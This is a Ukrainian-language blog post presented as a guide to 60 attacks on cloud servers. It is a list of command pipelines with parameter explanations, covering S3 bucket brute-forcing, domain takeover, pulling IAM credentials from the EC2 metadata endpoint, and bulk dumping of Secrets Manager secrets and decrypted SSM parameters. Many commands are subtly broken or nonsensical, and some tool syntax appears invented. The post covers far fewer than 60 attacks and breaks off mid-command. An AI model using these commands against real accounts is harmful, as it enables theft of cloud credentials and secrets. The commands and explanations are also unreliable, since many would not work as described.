60 Атак на клауд

Це посібник в якому будуть наведені приклади із 60 типів атак на клауд сервери.

TOOLS FOR FIND VULNERABILITY

Логин Свят

9/27/202319 min read

60 Атак на клауд Сервери

незахищений інтерфейс і API

python3 cloudhunter.py --write-test --open-only http://example.com

1.--write-test: цей параметр вказує сценарію записати в файл. В файлі буде лежати інфа після сканування cloudhunter.py.

2.--open-only: цей параметр вказує, що сценарій повинен перевіряти лише відкриті порти чи служби на цільовому URL-адресі, яким в даному випадку є http://example.com. Це означає, що сценарій не намагатиметься виконати будь-який інший тип сканування чи аналізу.

3. http://example.com: це цільова URL-адреса, на якій сценарій виконуватиме перевірку відкритого порту. У цьому прикладі встановлено значення http://example.com, але в реальному сценарії ви зазвичай замінюєте його фактичною URL-адресою, яку хочете перевірити.


cf enum <domain>

Замінивши <domain> на фактичне доменне ім’я, команда спробує отримати інформацію, що стосується цього домену, за допомогою інструмента cf enum. Деталі того, яку інформацію збирають і як її подають, залежатимуть від конкретної реалізації використовуваного інструменту.

ffuf -w /path/to/seclists/Discovery/Web-Content/api.txt -u
https://example.com/FUZZ -mc all

1.ffuf: це назва інструменту.

2.-w /path/to/seclists/Discovery/Web-Content/api.txt: цей параметр визначає список слів (-w), який буде використовуватися для фаззингу. Файл списку слів, розташований за адресою /path/to/seclists/Discovery/Web-Content/api.txt, містить список потенційних вхідних значень або корисних навантажень, які перевірятимуться цільову URL-адресу.

3.-u https://example.com/FUZZ: цей параметр визначає цільову URL-адресу (-u) для процесу фаззингу. Рядок FUZZ діє як заповнювач, який буде замінено значеннями зі списку слів під час процесу фаззингу. У цьому випадку цільовою URL-адресою є https://example.com/FUZZ, де FUZZ буде замінено різними корисними навантаженнями зі списку слів.

4.-mc all: цей параметр визначає умову відповідності (-mc) для відповідей, отриманих від цільового сервера. У цьому випадку all вказує на те, що всі відповіді, незалежно від коду статусу HTTP, вважатимуться дійсними збігами.

php s3-buckets-bruteforcer.php --bucket gwen001-test002

Надаючи параметр --bucket, за яким слідує конкретне значення (gwen001-test002), сценарій намагатиметься підібрати бакети Amazon S3, використовуючи це значення як ціль. Сценарій, імовірно, містить логіку для повторення різних імен сегментів, пробуючи кожне, доки не буде знайдено дійсний або доступний сегмент.


Data breaches

fd -t f -e txt . /path/to/data/breaches | xargs ag -i "keyword"

1. fd -t f -e txt . /path/to/data/breaches: ця команда використовує утиліту fd для пошуку файлів (-t f) із розширенням .txt (-e txt) у каталозі /path/to/data/breaches. . - представляє поточний каталог. Команда fd шукає файли, які відповідають вказаним критеріям, і виводить їхні шляхи.

2. xargs ag -i "keyword": ця команда отримує вихідні дані попередньої команди fd і передає їх як аргументи команді ag. xargs використовується для перетворення результату в аргументи. Команда ag — це інструмент, який використовується для пошуку текстових файлів. Опція -i вмикає відповідність без урахування регістру, а "keyword" представляє конкретне ключове слово, за яким здійснюється пошук.

недостатня конфігурація безпеки

cf takeover <domain>

Мета команди полягає в спробі захоплення домену. Перехоплення домену означає акт отримання контролю над доменом, який більше не підтримується або не налаштований належним чином, що дозволяє зловмиснику отримати контроль над пов’язаними службами чи ресурсами.

fd -t f -e <file_extension> . /path/to/codebase | xargs ag -i -C 3 " (default|weak|unrestricted|security settings)"

1. fd -t f -e <file_extension> . /path/to/codebase: ця команда використовує утиліту fd для пошуку файлів (-t f) із певним розширенням (-e <file_extension>) у каталозі /path/to/codebase. . - представляє поточний каталог. Команда fd шукає файли, які відповідають вказаним критеріям, і виводить їхні шляхи.

2. xargs ag -i -C 3 "(default|weak|unrestricted|security settings)": ця команда отримує вихідні дані попередньої команди fd і передає їх як аргументи команді ag. xargs використовується для перетворення результату в аргументи. Команда ag — це інструмент, який використовується для пошуку текстових файлів. Опції -i вмикають пошук відповідності без урахування регістру, а параметри -C 3 показують 3 рядки контексту навколо кожного збігу. Шаблон "(default|weak|unrestricted|security settings)" представляє шаблон регулярного виразу для пошуку входжень будь-якого з указаних ключових слів у файлах.

Небезпечне зберігання даних

cf s3download <bucket_name> <object_key>

Замінивши <bucket_name> на фактичну назву сегмента S3, а <object_key> це ключ або шлях до потрібного об’єкта в сегменті, команда розпочне процес завантаження для цього конкретного об’єкта. Завантажений об’єкт зазвичай буде збережено в локальній файловій системі, ім’я та розташування залежатимуть від поведінки інструменту cf s3download.

cf dirscan <url>

Замінивши <url> на фактичну цільову URL-адресу, команда ініціює сканування каталогу за цією конкретною URL-адресою за допомогою інструмента cf dirscan. Інструмент намагатиметься пронумерувати та перерахувати каталоги чи шляхи в цільовій URL-адресі, надаючи інформацію про структуру каталогів веб-програми.

`gau -subs example.com | httpx -silent | gf unsafe | grep -iE " (encryption|access controls|data leakage)"`

1. gau -subs example.com: ця команда використовує інструмент gau для виявлення субдомену (-subs) на example.com. Він отримує список URL-адрес, пов’язаних із вказаним доменом, включаючи субдомени.

2. httpx -silent: ця команда використовує інструмент httpx для надсилання HTTP-запитів до URL-адрес, отриманих за допомогою попередньої команди. Параметр -silent використовується для придушення багатослівного виведення, що призводить до чистішого виведення.

3. gf unsafe: ця команда використовує інструмент gf із шаблоном unsafe для пошуку потенційних проблем, пов’язаних із безпекою, у відповідях HTTP. Інструмент gf дозволяє фільтрувати та витягувати дані на основі попередньо визначених шаблонів.

4. grep -iE "(encryption|access controls|data leakage)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E) без урахування регістру (-i). Шаблон регулярного виразу шукає ключові слова «encryption», «access controls» або «data leakage» у вихідних даних, отриманих від попередньої команди.

ccat elasticsearch search <index> <query>

ccat: це назва інструменту.

elasticsearch search: ця частина команди вказує, що конкретна дія, яка виконується, є операцією пошуку в Elasticsearch.

<index>: це покажчик місця заповнення для індексу Elasticsearch, у якому виконуватиметься операція пошуку. Замість <index> слід надати фактичну назву індексу вашого еластіку.

<query>: це покажчик місця заповнення для пошукового запиту або критеріїв, який буде виконаний за вказаним індексом Elasticsearch. Фактичний пошуковий запит слід надати замість <query>.

відсутність належного логування та моніторингу

findomain -t example.com | httpx -silent | grep -E "(deployment|configuration management)"

findomain -t example.com: ця команда використовує інструмент findomain для виявлення субдомену (-t) на example.com. Він шукає субдомени, пов’язані з вказаним доменом, і друкує результати на виході.

httpx -silent: ця команда використовує інструмент httpx для надсилання запитів HTTP до субдоменів, отриманих за допомогою попередньої команди. Параметр -silent використовується для придушення багатослівного виведення, що призводить для чистішого виведення.

grep -E "(deployment|configuration management)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «deployment» або «configuration management» у вихідних даних, отриманих від попередньої команди.

findomain -t example.com | httpx -silent | nuclei -t ~/nuclei-templates/ - severity high,medium -tags misconfiguration

findomain -t example.com: ця команда використовує інструмент findomain для виявлення субдомену (-t) на example.com. Він шукає субдомени, пов’язані з вказаним доменом, і друкує результати на виході.

httpx -silent: ця команда використовує інструмент httpx для надсилання запитів HTTP до субдоменів, отриманих за допомогою попередньої команди. Параметр -silent використовується для придушення багатослівного виведення, що призводить для чистішого виведення.

nuclei -t ~/nuclei-templates/ -severity high,medium -tags misconfiguration: Ця команда використовує інструмент nuclei для сканування вразливостей або виявлення субдомен, отриманих за допомогою попередньої команди. Параметр -t визначає шлях до каталогу шаблонів Nuclei (~/nuclei-templates/), який містить попередньо визначені шаблони для визначення проблем безпеки. Параметр -severity використовується для визначення рівня серйозності вразливостей, які потрібно виявити, у цьому випадку «high» і «medium». Параметр -tags використовується для фільтрації шаблонів зі спеціальними тегами, у даному випадку це «misconguration».

subfinder -d example.com | httpx -silent | gf misconfig | grep -E " (deployment|configuration management)"

subfinder -d example.com: ця команда використовує інструмент subfinder для виконання перерахування субдоменів (-d) на example.com. Він шукає субдомени, пов’язані з вказаним доменом, і друкує результати на виході.

httpx -silent: ця команда використовує інструмент httpx для надсилання запитів HTTP до субдоменів, отриманих за допомогою попередньої команди. Параметр -silent використовується для придушення багатослівного виведення, що призводить для чистішого виведення.

gf misconfig: ця команда використовує інструмент gf із шаблоном misconfig для пошуку потенційних проблем з неправильною конфігурацією у відповідях HTTP. Інструмент gf дозволяє фільтрувати та витягувати дані на основі попередньо визначених шаблонів.

grep -E "(deployment|configuration management)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «deployment» або «configuration management» у вихідних даних, отриманих від попередньої команди.

неадекватне реагування на інцидент і відновлення

aws ec2 describe-instances | jq -r '.Reservations[].Instances[] | select(.State.Name!="terminated") | select(.State.Name!="shutting-down") | select(.State.Name!="stopping") | select(.State.Name!="stopped") | select(.State.Name!="running")' | grep -iE "(incident response|recovery)"

aws ec2 describe-instances: ця команда використовує AWS CLI (aws) для отримання інформації про екземпляри EC2 шляхом виконання виклику API describe- instances. Він надає детальну інформацію про екземпляри, запущені у вказаному обліковому записі AWS.

jq -r '.Reservations[].Instances[] | select(.State.Name!="terminated") | select(.State.Name!="shutting-down") | select(.State.Name!="зупинка") | select(.State.Name!="stopped") | select(.State.Name!="running")': ця команда використовує jq для фільтрації та обробки вихідних даних JSON, отриманих від попередньої команди. Наданий запит фільтрує екземпляри на основі їхнього стану, за винятком екземплярів, які завершено, вимкнено, зупинено,

grep -iE "(incident response|recovery)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «incident response» або «recovery» у вихідних даних, отриманих від попередньої команди. Параметр -i вмикає пошук відповідності без урахування регістру.

az vm list --output json | jq '.[] | select(.powerState != "stopped" and .powerState != "deallocated")' | grep -iE "(incident response|recovery)"

az vm list --output json: ця команда використовує Azure CLI (az) для отримання списку віртуальних машин (VM) за допомогою команди vm list. Параметр -- output json визначає вихідний формат як JSON.

jq '.[] | select(.powerState != "stopped" and .powerState != "deallocated")': ця команда використовує jq для фільтрації та обробки вихідних даних JSON, отриманих від попередньої команди. Наданий запит вибирає віртуальні машини, які мають powerState, відмінний від «stopped» та «deallocated», тобто вони знаходяться в активному або запущеному стані.

grep -iE "(incident response|recovery)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «incident response» або «recovery» у вихідних даних, отриманих від попередньої команди. Параметр -i вмикає пошук відповідності без урахування регістру.

gcloud compute instances list --format json | jq '.[] | select(.status != "TERMINATED") | select(.status != "STOPPING") | select(.status != "SUSPENDED")' | grep -iE "(incident response|recovery)"

gcloud compute instances list --format json: ця команда використовує Google Cloud SDK (gcloud), щоб отримати список обчислювальних екземплярів, виконавши команду compute instances list. Параметр --format json визначає вихідний формат як JSON.

jq '.[] | select(.status != "TERMINATED") | select(.status != "STOPPING") | select(.status != "SUSPENDED")': ця команда використовує jq для фільтрації та обробки виводу JSON, отриманого від попередньої команди. Наданий запит вибирає екземпляри, які мають status, відмінний від «TERMINATED», «STOPPING» або «SUSPENDED», тобто вони знаходяться в активному або запущеному стані. 3. grep -iE "(відповідь на інцидент|відновлення)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «відповідь на інцидент» або «відновлення» у вихідних даних, отриманих від попередньої команди. Параметр -i вмикає пошук відповідності без урахування регістру.

вразливості спільних технологій

nmap -p0-65535 --script vulners,vulscan --script-args vulscanoutput=gnmap -oN - <target> | grep -iE "(shared technology|underlying infrastructure|hypervisor)"

nmap -p0-65535: ця команда запускає інструмент nmap із зазначеними параметрами для сканування всіх портів від 0 до 65535 у цільовій системі.

--script vulners,vulscan: цей параметр вказує nmap використовувати сценарії vulners і vulscan для сканування вразливостей. Ці сценарії є частиною Nmap Scripting Engine (NSE) і допомагають визначити потенційні вразливості в цільовій системі.

--script-args vulscanoutput=gnmap: цей параметр визначає додаткові аргументи для вибраних сценаріїв. У цьому випадку він встановлює для аргументу vulscanoutput значення gnmap, що визначає вихідний формат сценарію vulscan як gnmap.

-oN -: цей параметр перенаправляє вивід інфо, від команди nmap на стандартний вивід інфи (stdout) замість збереження його у файлі.

<target>: Це заповнювач для цільової IP-адреси або імені хоста. Замість <target> слід надати фактичну ціль.

grep -iE "(shared technology|underlying infrastructure|hypervisor)": ця команда передає вивід інфи команди nmap у grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «shared technology», «underlying infrastructure» або «infrastructure» без урахування регістру (параметр -i).

java -jar burpsuite_pro.jar --project-file=<project_file> --unpause-spider- and-scanner --scan-checks --results-dir=<output_directory> && grep -iE " (shared technology|underlying infrastructure|hypervisor)" <output_directory>/*.xml

java -jar burpsuite_pro.jar --project-file=<project_file> --unpause- spider-and-scanner --scan-checks --results-dir=<output_directory>: ця команда запускає версію Burp Suite Professional шляхом запуску Файл JAR (burpsuite_pro.jar) з використанням Java. Параметр --project-file визначає шлях до файлу проекту Burp Suite, який містить параметри конфігурації та попередні результати сканування. Параметр --unpause-spider-and-scanner відновлює паузу модулів spider і scanner, щоб розпочати процес сканування та сканування вразливостей. Параметр --scan-checks вмикає всі активні перевірки сканування. Параметр --results-dir визначає каталог, де будуть збережені результати сканування.

grep -iE "(shared technology|underlying infrastructure|hypervisor)" <output_directory>/*.xml: ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E) у файлах XML у специфікації вихідний каталог. Шаблон регулярного виразу шукає ключові слова «shared technology», «underlying infrastructure» або «hypervisor» без урахування регістру (параметр -i).

omp -u <username> -w <password> --xml="<get_results task_id='<task_id>'/>" | grep -iE "(shared technology|underlying infrastructure|hypervisor)"

omp -u <ім'я користувача> -w <пароль> --xml="<get_results task_id='<task_id>'/>": ця команда використовує інструмент OpenVAS Management Protocol (OMP) для отримання результатів сканування. Опція -u вказує ім’я користувача, опція -w вказує пароль, а опція --xml вказує команду XML для надсилання на сервер OpenVAS. Команда XML <get_results task_id='<task_id>'/> запитує результати сканування для певного ідентифікатора завдання.

grep -iE "(shared technology|underlying infrastructure|hypervisor)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «shared technology», «underlying infrastructure» або «hypervisor» у вихідних даних, отриманих від попередньої команди. Параметр -i вмикає пошук відповідності без урахування регістру.

викрадення та зловживання обліковим записом

aws iam list-users | jq -r '.Users[] | select(.PasswordLastUsed == null)' | grep -iE "(account hijacking|credential compromise|privilege misuse)"

aws iam list-users: ця команда використовує AWS CLI (aws), щоб створити список усіх користувачів IAM в обліковому записі AWS, виконавши виклик API iam list-users. Він отримує інформацію про користувачів IAM.

jq -r '.Users[] | select(.PasswordLastUsed == null)': ця команда використовує jq для фільтрації та обробки вихідних даних JSON, отриманих від попередньої команди. Наданий запит вибирає користувачів IAM, для яких значення PasswordLastUsed дорівнює нулю, що вказує на те, що вони ніколи не використовували пароль для автентифікації.

grep -iE "(hijacking|credential compromise|privilege misuse)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «hijacking», «credential compromise» або «privilege misuse» у вихідних даних, отриманих від попередньої команди. Параметр -i вмикає пошук відповідності без урахування регістру.

az ad user list --output json | jq '.[] | select(.passwordLastChanged == null)' | grep -iE "(account hijacking|credential compromise|privilege misuse)"

az ad user list --output json: ця команда використовує Azure CLI (az), щоб створити список усіх користувачів Azure Active Directory (AD) у поточному каталозі, виконавши команду ad user list. Параметр --output json визначає вихідний формат як JSON.

jq '.[] | select(.passwordLastChanged == null)': ця команда використовує jq для фільтрації та обробки вихідних даних JSON, отриманих від попередньої команди. Наданий запит вибирає користувачів AD, для яких значення passwordLastChanged дорівнює нулю, що вказує на те, що вони ніколи не змінювали свій пароль.

grep -iE "(account hijacking|credential compromise|privilege misuse)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «account hijacking», «credential compromise» або «privilege misuse» у вихідних даних, отриманих від попередньої команди. Параметр -i вмикає пошук відповідності без урахування регістру.

gcloud auth list --format=json | jq -r '.[] | select(.status == "ACTIVE") | select(.credential_last_refreshed_time.seconds == null)' | grep -iE "(account hijacking|credential compromise|privilege misuse)"

gcloud auth list --format=json: ця команда використовує Google Cloud SDK (gcloud), щоб отримати список усіх автентифікованих облікових записів у поточній конфігурації. Параметр -- format=json визначає вихідний формат як JSON.

jq -r '.[] | select(.status == "ACTIVE") | select(.credential_last_refreshed_time.seconds == null)': ця команда використовує jq для фільтрації та обробки вихідних даних JSON, отриманих від попередньої команди. Наданий запит вибирає автентифіковані облікові записи зі статусом «ACTIVE» і значенням credential_last_refreshed_time.seconds, рівним нулю, що вказує на те, що їхні облікові дані не оновлено.

grep -iE "(account hijacking|credential compromise|privilege misuse)": ця команда використовує grep для пошуку рядків, які відповідають указаному розширеному регулярному виразу (-E). Шаблон регулярного виразу шукає ключові слова «account hijacking», «credential compromise» або «privilege misuse» у вихідних даних, отриманих від попередньої команди. Параметр -i вмикає пошук відповідності без урахування регістру.

отримати дані пароля EC2

aws ec2 describe-instances --query 'Reservations[].Instances[].{InstanceId: InstanceId, State: State.Name, PasswordData: PasswordData}' | jq -r '.[] | select(.State == "running") | select(.PasswordData != null) | {InstanceId: .InstanceId, PasswordData: .PasswordData}' | grep -i "RDP"

aws ec2 describe-instances --query 'Reservations[].Instances[]. {InstanceId: InstanceId, State: State.Name, PasswordData: PasswordData}': ця команда використовує AWS CLI (aws) для опису екземплярів EC2 в обліковому записі AWS. Параметр --query визначає спеціальний запит для отримання певних атрибутів для кожного екземпляра, включаючи ідентифікатор екземпляра, стан і дані пароля.

jq -r '.[] | select(.State == "running") | select(.PasswordData != null) | {InstanceId: .InstanceId, PasswordData: .PasswordData}': ця команда використовує jq для фільтрації та обробки вихідних даних JSON, отриманих від попередньої команди. Наданий запит вибирає екземпляри EC2, які перебувають у «running» стані та мають ненульові дані пароля. Він створює новий об’єкт JSON, що містить ідентифікатор екземпляра та дані пароля.

grep -i "RDP": ця команда використовує grep для пошуку рядків, які містять рядок «RDP» без урахування регістру в результатах, отриманих попередньою командою. Він фільтрує вихідні дані, щоб показати лише ті випадки, коли дані пароля вказують на наявність конфігурації RDP (протоколу віддаленого робочого стола).


python cloudmapper.py --account <account_name> collect --regions <region1,region2> && python cloudmapper.py --account <account_name> enum -- services ec2 --region <region1,region2> | jq -r '.EC2[] | select(.password_data != null) | {InstanceId: .instance_id, PasswordData: .password_data}' | grep -i "RDP"


python cloudmapper.py --account <account_name> collect --regions <region1,region2>: Ця команда запускає сценарій cloudmapper.py для збору даних облікового запису AWS для вказаного акаунту <account_name> у вказаних регіонах <region1,region2>. Він збирає інформацію про ресурси облікового запису і конфігурації.

python cloudmapper.py --account <account_name> enum --services ec2 -- region <region1,region2>: Ця команда запускає сценарій cloudmapper.py для виконання нумерації в указаному обліковому записі AWS (<account_name>) і націлювання на службу EC2 у вказаних регіонах (<region1,region2>). Він зосереджений на зборі інформації, яка стосується екземплярів EC2.

jq -r '.EC2[] | select(.password_data != null) | {InstanceId: .instance_id, PasswordData: .password_data}': ця команда використовує jq для фільтрації та обробки вихідних даних JSON, отриманих від попередньої команди. Наданий запит вибирає екземпляри EC2, які мають ненульові password_data, і створює новий об’єкт JSON, що містить ідентифікатор екземпляра та дані пароля.

grep -i "RDP": ця команда використовує grep для пошуку рядків, які містять рядок «RDP» без урахування регістру в результатах, отриманих попередньою командою. Він фільтрує вихідні дані, щоб показати лише ті випадки, коли дані пароля вказують на наявність конфігурації RDP (протоколу віддаленого робочого стола).

python pacu.py --no-update --profile <profile_name> --module ec2__get_password_data --regions <region1,region2> --identifier "RDP" --json | grep -i "RDP"


python pacu.py: ця команда виконує сценарій pacu.py, який є основною точкою входу для інструменту PACU. Він запускає PACU і дозволяє вам виконувати різноманітні завдання з тестування безпеки та використання AWS.

--no-update: цей параметр вимикає автоматичне оновлення інструменту PACU, щоб забезпечити використання поточної версії без перевірки оновлень.

--profile <profile_name>: цей параметр визначає профіль AWS для використання автентифікації та авторизації. <profile_name> має відповідати налаштованому профілю AWS, який містить дійсні облікові дані.

--module ec2__get_password_data: цей параметр визначає конкретний модуль PACU для запуску. У цьому випадку він запускає модуль ec2__get_password_data, який отримує дані пароля для екземплярів EC2.

--regions <region1,region2>: цей параметр визначає цільові регіони AWS. Значення <region1,region2> представляють розділений комами список регіонів, де буде виконано модуль ec2__get_password_data.

--identifier "RDP": цей параметр налаштовує ідентифікатор для модуля. У цьому випадку ідентифікатор встановлено як «RDP», що вказує на те, що модуль шукатиме екземпляри EC2 із даними пароля, пов’язаними з RDP (протокол віддаленого робочого столу).

--json: цей параметр наказує PACU виводити результати у форматі JSON.

| grep -i "RDP": ця частина команди використовує grep для пошуку рядків, які містять рядок без урахування регістру «RDP» у вихідних даних JSON, згенерованих PACU. Він фільтрує вихідні дані, щоб показати лише ті випадки, коли дані пароля вказують на наявність конфігурації RDP.

викрасти облікові дані екземпляра ec2

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | xargs -I {} curl -s http://169.254.169.254/latest/meta-data/iam/security- credentials/{} | jq -r '.AccessKeyId, .SecretAccessKey, .Token'

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/: ця команда надсилає запит HTTP GET на вказану URL-адресу, яка є кінцевою точкою служби метаданих в примірнику EC2. Він отримує список доступних облікових даних безпеки IAM.

xargs -I {} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{} | jq -r '.AccessKeyId, .SecretAccessKey, .Token': ця команда використовує xargs для обробки кожного елемента (облікових даних безпеки IAM) із попередньої команди та замінює його в наступній команді.

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{}: ця команда надсилає запит HTTP GET для отримання метаданих певних облікових даних безпеки IAM.

jq -r '.AccessKeyId, .SecretAccessKey, .Token': ця команда використовує jq для аналізу вихідних даних JSON, отриманих від попередньої команди, і вилучення спеціальних полів, а саме AccessKeyId, SecretAccessKey і Token. Параметр -r виводить результати у необробленому форматі (без лапок).

imds-helper http://169.254.169.254/latest/meta-data/iam/security-credentials/ | grep -E "AccessKeyId|SecretAccessKey|Token"

imds-helper http://169.254.169.254/latest/meta-data/iam/security-credentials/: ця команда запускає інструмент imds-helper із указаною URL-адресою як аргументом. Інструмент взаємодіє зі службою метаданих, щоб отримати інформацію про облікові дані безпеки IAM.

grep -E "AccessKeyId|SecretAccessKey|Token": ця команда використовує grep з опцією -E для виконання збігу шаблону за допомогою розширеного регулярного виразу. Він фільтрує вихідні дані команди imds-helper і відображає лише рядки, які містять вказані шаблони: «AccessKeyId», «SecretAccessKey» або «Token».

python pacu.py --no-update --profile <profile_name> --module imds__gather_credentials --json | grep -E "AccessKeyId|SecretAccessKey|Token"

python pacu.py: ця команда виконує сценарій pacu.py, який є основною точкою входу для інструменту PACU. Він запускає PACU і дозволяє вам виконувати різноманітні завдання з тестування безпеки та використання AWS.

--no-update: цей параметр вимикає автоматичне оновлення інструменту PACU, щоб забезпечити використання поточної версії без перевірки оновлень.

--profile <profile_name>: цей параметр визначає профіль AWS для використання для автентифікації та авторизації. <profile_name> має відповідати налаштованому профілю AWS, який містить дійсні облікові дані.

--module imds__gather_credentials: цей параметр визначає певний модуль PACU для запуску. У цьому випадку він запускає модуль imds__gather_credentials, який збирає облікові дані безпеки IAM із служби метаданих екземпляра.

--json: цей параметр наказує PACU виводити результати у форматі JSON.

| grep -E "AccessKeyId|SecretAccessKey|Token": ця частина команди використовує grep з опцією -E для виконання збігу шаблону за допомогою розширеного регулярного виразу. Він фільтрує вихідні дані JSON, створені PACU, і відображає лише рядки, які містять вказані шаблони: «AccessKeyId», «SecretAccessKey» або «Token».

отримання великої кількості секретів від менеджера секретів

ccat secretsmanager get-secret-value <secret_name>

ccat: Ця команда запускає інструмент ccat, який використовується для підсвічування синтаксису та відображення вмісту файлів або вихідних даних у терміналі.

secretsmanager get-secret-value <secret_name>: Ця команда вказує операцію AWS Secrets Manager для отримання значення секрету з указаним <secret_name>. <secret_name> має відповідати назві або ARN (назві ресурсу Amazon) секрету, який зберігається в AWS Secrets Manager.

aws secretsmanager list-secrets --query 'SecretList[].Name' | jq -r '.[]' | xargs -I {} aws secretsmanager get-secret-value --secret-id {} | jq -r '.SecretString'

aws secretsmanager list-secrets --query 'SecretList[].Name': Ця команда AWS CLI містить список імен секретів, які зберігаються в AWS Secrets Manager. Параметр - -query вказує вираз шляху JSON для отримання лише поля імені кожного секрету.

jq -r '.[]': ця команда jq зчитує вихідні дані JSON попередньої команди та витягує значення поля Name. Параметр -r виводить результати у необробленому форматі (без лапок).

xargs -I {} aws secretsmanager get-secret-value --secret-id {}: ця команда використовує xargs для обробки кожного секретного імені з попередньої команди jq і замінює його в наступній команді AWS CLI. Він отримує значення кожного секрету шляхом виклику aws secretsmanager get-secret- value із параметром --secret-id, встановленим на поточне ім’я секрету.

jq -r '.SecretString': ця команда jq зчитує вихідні дані JSON із попередньої команди CLI AWS і витягує значення поля SecretString. Параметр -r виводить результат у необробленому форматі (без лапок).

cf s3ls <bucket_name>

cf s3ls: Ця команда є специфічною для інструменту CloudFuzzer (CF). Він використовується для переліку об’єктів у сегменті Amazon S3.

<bucket_name>: цей параметр визначає ім’я сегмента S3, для якого потрібно створити список об’єктів. Замініть <bucket_name> фактичною назвою сегмента, який ви хочете запитати.

s3bucketbrute --bucket-prefixes <prefix_list> --region <region> | jq -r '. [].Name' | xargs -I {} aws secretsmanager get-secret-value --secret-id {}

s3bucketbrute --bucket-prefixes <prefix_list> --region <region>: ця команда запускає інструмент s3bucketbrute, який використовується для підбору або вгадування назв сегментів Amazon S3. Параметр --bucket-prefixes визначає список перфіксів назв сегментів для використання під час пошуку грубою силою, а параметр --region визначає регіон AWS, де слід шукати сегменти.

jq -r '.[].Name': ця команда jq зчитує вихідні дані JSON попередньої команди та витягує значення поля Name для кожного виявленого сегмента S3. Параметр -r виводить результати у необробленому форматі (без лапок).

xargs -I {} aws secretsmanager get-secret-value --secret-id {}: ця команда використовує xargs для обробки імені кожного відра з попередньої команди jq і замінює його в наступній команді AWS CLI. Він отримує значення секрету, пов’язаного з кожним сегментом, викликом aws secretsmanager get-secret-value із параметром --secret-id, установленим на поточне ім’я сегмента.

python cloudmapper.py --account <account_name> collect --regions <region1,region2> && python cloudmapper.py --account <account_name> enum -- services secretsmanager --region <region1,region2> | jq -r '.SecretsManager[] | {SecretId: .arn}' | xargs -I {} aws secretsmanager get-secret-value -- secret-id {}

python cloudmapper.py --account <account_name> collect --regions <region1,region2>: ця команда запускає інструмент CloudMapper і наказує йому збирати інформацію про вказаний обліковий запис AWS (<account_name>) у вказаних регіонах (<region1,region2>). Команда collect збирає дані про ресурси та конфігурації облікового запису.

&&: Цей оператор дозволяє виконувати наступну команду лише в тому випадку, якщо попередня команда (python cloudmapper.py --account <account_name> collect --regions <region1,region2>) завершується успішно.

python cloudmapper.py --account <account_name> enum --services secretsmanager --region <region1,region2>: ця команда продовжує виконання CloudMapper і вказує йому перерахувати секрети, що зберігаються в AWS Secrets Manager для вказаного облікового запису та регіони. Команда enum фокусується на вказаній службі (secretsmanager) і отримує відповідну інформацію.

jq -r '.SecretsManager[] | {SecretId: .arn}': ця команда jq обробляє вихідні дані JSON попередньої команди CloudMapper і витягує SecretId (ARN) кожного секрету, який зберігається в AWS Secrets Manager. Параметр -r виводить результати у необробленому форматі (без лапок).

xargs -I {} aws secretsmanager get-secret-value --secret-id {}: ця команда використовує xargs для обробки кожного секретного ARN, отриманого з попередньої команди jq, і замінює його в наступній команді AWS CLI. Він отримує значення кожного секрету шляхом виклику aws secretsmanager get-secret- value із параметром --secret-id, встановленим на поточний секретний ARN.

отримання та розшифрування параметрів SSM

aws ssm describe-parameters --query 'Parameters[].Name' | jq -r '.[]' | xargs -I {} aws ssm get-parameter --name {} --with-decryption | jq -r '.Parameter.Value'

aws ssm describe-parameters --query 'Parameters[].Name': ця команда AWS CLI отримує список імен параметрів із сховища параметрів SSM за допомогою операції describe-parameters. Параметр --query вказує запит JSON для вилучення поля Name з відповіді.

jq -r '.[]': Ця команда jq обробляє вихідні дані JSON попередньої команди та витягує значення поля Ім'я для кожного параметра. Параметр -r виводить результати у необробленому форматі (без лапок).

xargs -I {} aws ssm get-parameter --name {} --with-decryption: ця команда використовує xargs для обробки імені кожного параметра з попередньої команди jq і замінює його в наступній команді AWS CLI. Він отримує значення кожного параметра, викликаючи aws ssm get-parameter з параметром --name встановлено на поточну назву параметра. Параметр --with- decryption використовується для отримання розшифрованих значень, якщо параметр зашифровано.

jq -r '.Parameter.Value': ця команда jq обробляє вихідні дані JSON попередньої команди aws ssm get-parameter і витягує значення параметра. Параметр -r виводить результат у необробленому форматі (без лапок).

imds-helper http://169.254.169.254/latest/meta-data/iam/security-credentials/ | jq -r '.[]' | xargs -I {}

imds-helper http://169.254.169.254/latest/meta-data/iam/security-credentials/: ця команда робить запит до кінцевої точки IMDS (http://169.254.169.254/latest/meta-data/iam/ security-credentials/), щоб отримати облікові дані безпеки, пов’язані з роллю IAM, призначеною примірнику EC2. Інструмент imds-helper полегшує взаємодію з IMDS.

jq -r '.[]': ця команда jq обробляє відповідь JSON від попередньої команди та витягує значення всіх полів. Параметр -r виводить результати у необробленому форматі (без лапок).

xargs -I {}: ця команда встановлює заповнювач {}, який буде замінено кожним значенням із попередньої команди jq.

